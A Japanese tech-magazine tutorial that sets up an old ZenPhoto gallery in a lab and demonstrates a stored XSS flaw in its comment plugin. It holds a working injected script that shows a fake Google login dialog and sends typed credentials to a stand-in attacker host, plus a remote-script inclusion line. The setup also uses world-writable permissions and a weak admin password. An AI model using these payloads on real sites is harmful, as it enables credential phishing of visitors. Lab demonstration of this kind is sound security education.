古い「ZenPhoto」でXSS脆弱性のリスクを確認試してみなけりゃ分からない? 古いWebアプリの脆弱性(1)(2/2 ページ)

» 2013年04月01日 18時00分 公開
[山本洋介山,@IT]
前のページへ 1|2       

脆弱性のあるZenPhotoのインストール

 環境設定が終わったら、いよいよここからが本番だ。脆弱性のあるWebアプリケーションをインストールすることにしよう。

 初回となる今回取り上げるのは、筆者がXSS脆弱性を発見したZenPhotoという写真ギャラリーアプリケーションだ。このアプリ、コメントモジュールに大きな穴が開いていた。もちろん現在は修正済みなので実際に使用する時には最新バージョンを使用していただきたい。

 まずはサイトから脆弱性のあるバージョン(1.4.2.4)をダウンロードする。

をダウンロードして展開する。

画面4 脆弱性のあるZenPhotoをダウンロード

 XAMMPのドキュメントルートは /opt/lampp/htdocs なので

$ sudo tar xzvf zenphoto-1.4.2.4.tar.gz -C /opt/lampp/htdocs/ 

とコマンドを実行するとよい。

 これで、Ubuntu上でWebブラウザを開き、

http://localhost/zenphoto/


にアクセスすると、インストールが始まるのだが、その前にwarningが出ている。基本的には設定ファイルがないこととパーミッションの問題だ。

画面5 インストールしようとするがwarningが出る

 まず、configファイルがないと言われるのでコンフィグファイルをコピーする。

$ sudo mkdir zp-data
/opt/lampp/htdocs/zenphoto$ cp ./zp-core/zenphoto.cfg ./zp-data/

 パーミッションを以下のように設定する。

$ sudo chmod -R 755 zenphoto/
$ sudo chmod -R 777 zenphoto/albums/
$ sudo chmod -R 777 zenphoto/zp-data/
$ sudo chmod -R 777 zenphoto/cache/
$ sudo chmod -R 777 zenphoto/cache_html/
$ sudo chmod -R 777 zenphoto/uploaded/
$ sudo chmod -R 777 zenphoto/plugins/
$ sudo chmod -R 777 zenphoto/zp-core/setup/

データベースの作成

 データベースを設定する必要があるが、その前にZenPhoto用ユーザーと専用DBを作成する。

 すでに設定されているrootユーザーで作成してもよいが、この後別のWebアプリをインストールする際にデータベース名が重なったりすると面倒だ。アプリごとに違うユーザーを作成して、すべての特権を持つ同名のデータベースを使えるようにするのがいいだろう。

 phpMyAdminにログインして、「ユーザ」メニューをクリック、「ユーザを追加する」をクリック、ユーザ名、zenphoto、ホストlocalhost、パスワードは任意、「同名のデータベースを作成してすべての特権を与える」を選び、「ユーザを追加する」のリンクをクリックするとzenphoto用ユーザーとデータベースが作成される。

画面6 ZenPhoto用のユーザーを作成する

 DBを作成したあとは、文字化けなど不具合の元になるので左のメニューから「zenphoto」DBを選び、照合順序を「utf8_unicode_ci」に変更しておく。

 リフレッシュを行うと.htaccessファイルやrobots.txtファイルがないなど、まだいくつかの警告が出ているが、本稿の実験には差し障りないので無視することにして、「実行」ボタンをクリックする。

画面7 ZenPhoto用のデータベース設定情報を入力して保存
画面8 インストール実行ボタンが有効になるので「実行」ボタンをクリック

 するとすぐにインストールは終了する。

画面9 zenphoto-6 ZenPhotoのインストール終了

 「セットアップファイルを削除」ボタンをクリックしてセットアップファイルを削除し、管理者ユーザー(admin)の設定を行う。パスワードは6文字以上で記号を含む必要がある。password@でいいだろう。

画面10 zenphoto-7 管理者パスワードを設定する

 設定が終わるとログイン画面が表示されるので先ほど作成したユーザーでログインする。ログイン画面が表示されない場合は

http://localhost/zenphoto/zp-core/admin.php


にアクセスしよう。

脆弱なプラグインの有効化

 今回使用する脆弱性はZenPhoto本体ではなく、デフォルトでは有効になっていないプラグインである。そのため、脆弱性を突くには、まずそのプラグインを有効にする必要がある。今回使用する脆弱なプラグインは「comment_form」というもので、写真に対し別のユーザーがコメントを入れられる機能だ。

 メニューの右端にある「プラグイン」タブをクリックし、comment_form v1.4.2にチェックを入れて「適用」をクリックし、この機能を有効にする。

画面11 comment_formプラグインを有効にする

 他のCMSでもプラグインに脆弱性があるということはよくあることだ。あまり使われていないような機能はあまりテストされていない可能性がままあるので、導入は慎重に行いたい。

写真のアップロード

 コメントを書いてもらうためには、何か写真をアップロードする必要がある。そこで「アップロード」タブをクリックして好きな写真を1枚アップロードする。デフォルトでコメントを許可するとなっているので、そのままにしておくこと。「閲覧」ボタンをクリックするとアップした写真が表示され、その下にコメント欄も表示されているはずだ。

画面12 写真をアップロードする

XSS脆弱性を試してみる

 ここまで来ていよいよ脆弱性を確認することができる。別のPCのブラウザから、ZenPhotoのURLに対してアクセスしてみよう。

http://サーバのIPアドレス/zenphoto/


にアクセスすると、トップページと写真のサムネイルが表示されているはずだ。

画面13 別のマシンからZenPhotoにアクセスする

 写真のサムネイルをクリックすると、大きな写真とコメント欄が現れる。そしてこのコメント欄に脆弱性がある。全くエスケープされていない。なんのタグもスクリプトも埋め放題なのだ。

 脆弱性を確認するには、とりあえず本文に

"><script>alert(document.domain)</script>

と入力して書き込んでみよう。

画面14 zenphoto-11 コメント欄にスクリプトを書いてみる

 書き込みを行う。エラーが出るが、メール送信できなかったというエラーなので気にしないでいただきたい。気になる人は「オプション」タブの「コメント」から「コメント通知の有効化」チェックを外しておこう。

 リロードするとサーバのあるドメインがポップアップされることが分かるだろう。これで持続型のXSS脆弱性があることが分かる。

画面15 サーバのドメインがポップアップされる

 このコメントは他のユーザーが閲覧したときにも見られるようになっているので、誰が見たときでも、ここで埋め込まれたスクリプトが実行される。インターネットに公開されていると考えると、不特定多数の閲覧した人すべてのブラウザでスクリプトが実行される。リンクを踏んだ人しか影響を受けない反射型のXSSと比べると、こちらの方がいくぶんやっかいだ。

 とりあえずZenPhotoの管理画面の「コメント」タブにアクセスして、書き込みは削除しておこう。

実際の攻撃

 とはいえこんなダイアログが表示されるだけなら、特に被害が起こることもない。「自分のCookieがアラートされてもちっとも怖くない、こんなの脆弱性じゃない」という人もいらっしゃることだろう。

 ということで、ここではフィッシングに使われるようなパスワード入力画面が表示されるようにしてみることにする。

 このコメント欄は改行が<br />に変更される以外、何も行われないことが分かったので、コメント欄に以下のようなタグとスクリプトを入力する。ところどころで処理がいい加減なのはご容赦いただきたい。見やすさを考慮して改行してあるが、スクリプトの改行はすべて削除してから貼り付ける必要がある。

<link href="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/themes/base/jquery-ui.css" rel="stylesheet" type="text/css" />
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
 <script src="http://ajax.googleapis.com/ajax/libs/jqueryui/1.7.2/jquery-ui.min.js" type="text/javascript"></script>  
 <script type="text/javascript">
$(function() { 
	if(document.cookie.match(/dialog/i)){
		$('#dialog').hide();
	}else{
	$('#dialog').dialog({ 
        width: 550,
        modal: true,
        buttons: {
		     'キャンセル': function() {
                jQuery( this ) . dialog( 'close' );
            },
            'ログイン': function() {
				$.get("http://bogus.jp/?"+$("#user").val()+$("#pass").val(),null, 
					function(data) {
						document.cookie="dialog=1";
					});
                $(this).dialog('close');
            },
        }
 });
 }
 });
 </script>
<div id="dialog" title="google ログイン">
     <form id="bogusgoogle" method="get" action="http://bogus.jp/?">
    <fieldset>
        <p>ユーザー名とパスワードを入力してログインボタンを押してください。</p>
            <label>ユーザー名</label>
            <input type="text" name="user" id="user">
        </p>
        <p>
            <label>パスワード</label>
            <input type="password" name="pass" id="pass">
        </p>
    </fieldset>
    </form>
 </div>
アクセスしたユーザーのブラウザに入力ダイアログが開くようになる攻撃コード

と入力し、「コメント追加」ボタンをクリックすると、コメントが書き込まれているだろう。

 これでエントリを読者が見たときに、ユーザー名とパスワードを入力するモーダルダイアログが開く。ユーザー名とパスワードを入力し「ログイン」ボタンをクリックすると、入力したユーザー名とパスワードを攻撃者のサーバに送信し、その後通常の画面が開く。いったん送信すると2回目からは開かないので怪しまれることもないだろう。

 もし長いコードを入力するのが面倒だという人は、

<script type='text/javascript' src='http://example.jp/dialog'></script>

のように外部サイトに好きなスクリプトを置いて、それを呼び出すようにすることも可能だ。

 なお、ここで紹介した例ではaction="http://bogus.jp/?"に書かれたURLにアクセスが行われ、入力した情報が送信される。ご自身のサイトのURLに変更しておいていただきたい。

画面16 コメント欄にモーダルダイアログ表示タグを書き込む

 次に、被害者として、別のブラウザから同じURLにアクセスしてみる。するとユーザー名とパスワードの入力を促されるのが分かるだろう。「キャンセル」ボタンをクリックすれば何事もないのだが、なぜかどこかのユーザー名とパスワードを入力する人がいて、その人たちが被害に遭うということになる。

 本稿ではほぼデフォルトだが、実際に攻撃が行われる際はもう少し怪しまれにくいデザインになっているはずだ。

画面17 別のブラウザからコメントを書いた画像にアクセスしてみたところ
画面18 ユーザー名とパスワードを入力して送信したときに送られるデータ

終わりに

 このように、単純に何でもタグが書き込める脆弱性がある掲示板の場合、フィッシング詐欺に使われそうな画面が簡単に生成され得ることが分かっただろう。ユーザーを守るという観点からも、XSSだからといって軽く見ることなく、脆弱性のあるサービスはなるべく使わないようにしていただければと思う。

前のページへ 1|2       

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。